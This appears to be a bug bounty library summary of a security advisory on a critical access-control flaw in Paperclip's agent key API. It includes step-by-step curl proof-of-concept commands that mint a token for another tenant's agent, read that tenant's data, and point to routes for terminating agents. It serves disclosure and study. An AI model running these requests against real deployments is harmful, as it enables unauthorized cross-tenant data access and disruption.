# Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

Paperclip's /api/agents/:id/keys handlers only call assertBoard, letting any signed-up user mint a plaintext agent token bound to a victim company and read or mutate its data.

- Payout: Research
- Severity: critical
- Program: Paperclip
- Found by: peaktwilight
- Disclosed: 2026-04-16
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-47wq-cj9q-wpmp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-47wq-cj9q-wpmp
- Tags: area:web domain:api domain:web impact:data-leak impact:dos impact:privesc kind:research platform:ghsa sev:critical technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** REST API agent key management endpoints (server/src/routes/agents.ts)
**Root cause:** The GET/POST/DELETE /agents/:id/keys handlers call only assertBoard and never fetch the agent or call assertCompanyAccess, so any authenticated board user can act on agents in any company. The minted token is bound server-side to the victim agent's companyId.
**Steps:**
1. Sign up via `POST /api/auth/sign-up/email` with `{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}` and save the `better-auth.session_token` cookie.
2. Confirm zero memberships: `GET /api/companies` returns `[]`.
3. Mint a token for a victim agent: `POST /api/agents/$VICTIM_AGENT/keys` with cookie, `Origin` header, body `{"name":"pwnkit"}`; response 201 contains plaintext `token` (`pcp_*`).
4. Use token as Bearer: `GET /api/companies/$VICTIM_CO` returns 200 victim metadata.
5. Enumerate `GET /api/companies/$VICTIM_CO/issues`, `/agents`, `/approvals` and `GET /api/agents/$VICTIM_AGENT` — all 200.
**How found:** Variant hunt of GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added assertInstanceAdmin to one handler but did not audit sibling routes. Comparing /agents/:id/keys against the adjacent /agents/:id/wakeup handler (which correctly calls assertCompanyAccess) revealed the missing check.
**Exploitation:** Attacker with a self-registered account and no company memberships mints a persistent plaintext agent API token for any agent ID in any tenant. actorMiddleware resolves the token to actor={type:agent, companyId:victim}, so all downstream assertCompanyAccess gates pass, granting read of victim company metadata, issues, approvals, runs and agent config, plus agent-scoped mutations. Sibling assertBoard-only handlers (/pause, /resume, /terminate, DELETE /agents/:id) allow DoS on any agent.
**Escalation:** Token persists across sessions until revoked; enables self-wakeup with attacker payloads and adapter execution via the victim agent's own adapter, plus pause/terminate/delete of arbitrary agents.
**Insight:** When a patch fixes one handler for a missing authorization call, grep the same file for every sibling route using the weaker guard (here assertBoard) and diff against a correctly-guarded neighbor to find the systemic pattern.

## Proof of concept (copied exactly from the original report)

**POST to mint victim agent token**

```
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
```

**Use stolen token to read victim tenant**

```
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
```

**Signup and confirm zero memberships**

```
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
```

